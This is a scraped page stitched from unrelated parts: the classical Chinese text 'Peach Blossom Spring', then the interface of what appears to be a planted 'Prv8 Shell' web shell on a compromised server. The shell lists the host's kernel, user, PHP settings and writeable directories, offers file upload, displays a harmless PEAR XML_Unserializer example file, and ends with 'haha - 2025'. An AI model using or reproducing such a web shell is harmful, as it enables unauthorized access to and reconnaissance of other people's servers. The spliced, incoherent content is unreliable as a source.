晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/cpanel-php83-xml-serializer/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/cpanel-php83-xml-serializer/examples/unserializeAnyXML.php
<?PHP
/**
 * This example shows different methods how
 * XML_Unserializer can be used to create data structures
 * from XML documents.
 *
 * @author  Stephan Schmidt <schst@php.net>
 */
error_reporting(E_ALL);

// this is a simple XML document
$xml = '<users>' .
       '  <user handle="schst">Stephan Schmidt</user>' .
       '  <user handle="mj">Martin Jansen</user>' .
       '  <group name="qa">PEAR QA Team</group>' .
       '  <foo id="test">This is handled by the default keyAttribute</foo>' .
       '  <foo id="test2">Another foo tag</foo>' .
       '</users>';

require_once 'XML/Unserializer.php';

// complex structures are arrays, the key is the attribute 'handle' or 'name', if handle is not present
$options = array(
                 XML_UNSERIALIZER_OPTION_COMPLEXTYPE => 'array',
                 XML_UNSERIALIZER_OPTION_ATTRIBUTE_KEY => array(
                                                                  'user'     => 'handle',
                                                                  'group'    => 'name',
                                                                  '#default' => 'id'
                                                                )
                );

//  be careful to always use the ampersand in front of the new operator 
$unserializer = &new XML_Unserializer($options);

// userialize the document
$status = $unserializer->unserialize($xml, false);    

if (PEAR::isError($status)) {
    echo 'Error: ' . $status->getMessage();
} else {
    $data = $unserializer->getUnserializedData();
    echo '<pre>';
    print_r($data);
    echo '</pre>';
}


// unserialize it again and change the complexType option
// but leave other options untouched
// now complex types will be an object, and the property name will be in the
// attribute 'handle'
$status = $unserializer->unserialize($xml, false, array(XML_UNSERIALIZER_OPTION_COMPLEXTYPE => 'object'));

if (PEAR::isError($status)) {
    echo 'Error: ' . $status->getMessage();
} else {
    $data = $unserializer->getUnserializedData();
    echo '<pre>';
    print_r($data);
    echo '</pre>';
}

// unserialize it again and change the complexType option
// and reset all other options
// Now, there's no key so the tags are stored in an array
$status = $unserializer->unserialize($xml, false, array(XML_UNSERIALIZER_OPTION_OVERRIDE_OPTIONS => true, XML_UNSERIALIZER_OPTION_COMPLEXTYPE => 'object'));    

if (PEAR::isError($status)) {
    echo 'Error: ' . $status->getMessage();
} else {
    $data = $unserializer->getUnserializedData();
    echo '<pre>';
    print_r($data);
    echo '</pre>';
}
?>

haha - 2025